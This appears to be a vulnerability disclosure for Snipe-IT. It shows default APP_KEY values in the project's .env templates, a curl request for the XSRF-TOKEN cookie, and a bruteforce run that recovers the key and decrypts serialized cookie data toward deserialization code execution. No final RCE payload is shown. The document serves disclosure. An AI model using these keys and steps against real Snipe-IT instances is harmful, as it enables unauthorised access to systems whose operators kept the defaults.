Snipe-IT - Unauthenticated Remote Command Execution when APP_KEY known

Several .env templates from the Snipe-IT repository contain default values for the APP_KEY environment variable.

$ git clone https://github.com/snipe/snipe-it
$ grep APP_KEY snipe-it/.env*
snipe-it/.env.dev.docker:APP_KEY=base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
snipe-it/.env.docker:APP_KEY=base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
snipe-it/.env.dusk.example:APP_KEY=base64:hTUIUh9CP6dQx+6EjSlfWTgbaMaaRvlpEwk45vp+xmk=
snipe-it/.env.example:APP_KEY=ChangeMe
snipe-it/.env.testing-ci:APP_KEY='base64:glJpcM7BYwWiBggp3SQ/+NlRkqsBQMaGEOjemXqJzOU='
snipe-it/.env.testing.example:APP_KEY=base64:glJpcM7BYwWiBggp3SQ/+NlRkqsBQMaGEOjemXqJzOU=
snipe-it/.env.tests:APP_KEY=base64:tu9NRh/a6+dCXBDGvg0Gv/0TcABnFsbT4AKxrr8mwQo=
snipe-it/.env.unit-tests:APP_KEY=base64:tu9NRh/a6+dCXBDGvg0Gv/0TcABnFsbT4AKxrr8mwQo=
[...]

The XSRF-TOKEN cookie is delivered to any unauthenticated user navigating to the /login endpoint on a Snipe-IT instance:

$ curl -I http://localhost:8000/login
HTTP/1.1 200 OK
Date: Wed, 11 Dec 2024 16:39:05 GMT
[...]
Set-Cookie: XSRF-TOKEN=eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D; expires=Fri, 20-Dec-2024 00:39:05 GMT; Max-Age=720000; path=/
Set-Cookie: snipeit_session=6EVBZ4YhSN0gG7tQd5sG8CgDck56QrvZnArcBqoX; expires=Fri, 20-Dec-2024 00:39:05 GMT; Max-Age=720000; path=/; httponly
Content-Type: text/html; charset=UTF-8

As shown on the previous vulnerability, a default APP_KEY can be defined if the developers copied the default .env.example file provided by Snipe-IT.

In order to manipulate and exploit Laravel ciphers, the laravel-crypto-killer tool can be used. In the following example, the bruteforce option was used in order to try several default known APP_KEYs such as the ones from Snipe-IT:

$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
  0%|                                                                                                                         | 0/1 [00:00<?, ?it/s][+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D
Key : base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
[*] Unciphered value
s:81:"60df322f0820f6ad9767a45596a3de165d76a812|5txCpoN9ZX8gPrJA806QB05Zi0dZIiX7kjrGbc7X";
[+] Matched serialized data in results!
100%|████████████████████████████████████████████████████| 1/1 [00:00<00:00, 85.65it/s]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[+] Matched 1 serialized data in results! It's time to exploit unserialization to get RCE mate!
[+] Results saved in the file results/results.json

The output of the tool gives the valid default APP_KEY:base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=  and the deciphered value s:81:"60df322f0820f6ad9767a45596a3de165d76a812|5txCpoN9ZX8gPrJA806QB05Zi0dZIiX7kjrGbc7X"; as well, which is a PHP serialized data.

This is a well-known issue which was already exploited on several Laravel projects (CVE-2018-15133) and a patch was released in 2018. However, the latter was manually disabled in Snipe-IT source code, in the app/Providers/AuthServiceProvider.php file:

<?php
    public function boot()
    {
        [...]
        Passport::withCookieSerialization();
[...]

The Passport::withCookieSerialization() method enables usage of serialized data in the XSRF-TOKEN cookie (more details from the Laravel website).

Note: When encrypted cookie serialization is enabled, your application will be vulnerable to attack if its encryption key is accessed by a malicious party. If you believe your key may be in the hands of a malicious party, you should rotate the key to a new value before enabling encrypted cookie serialization.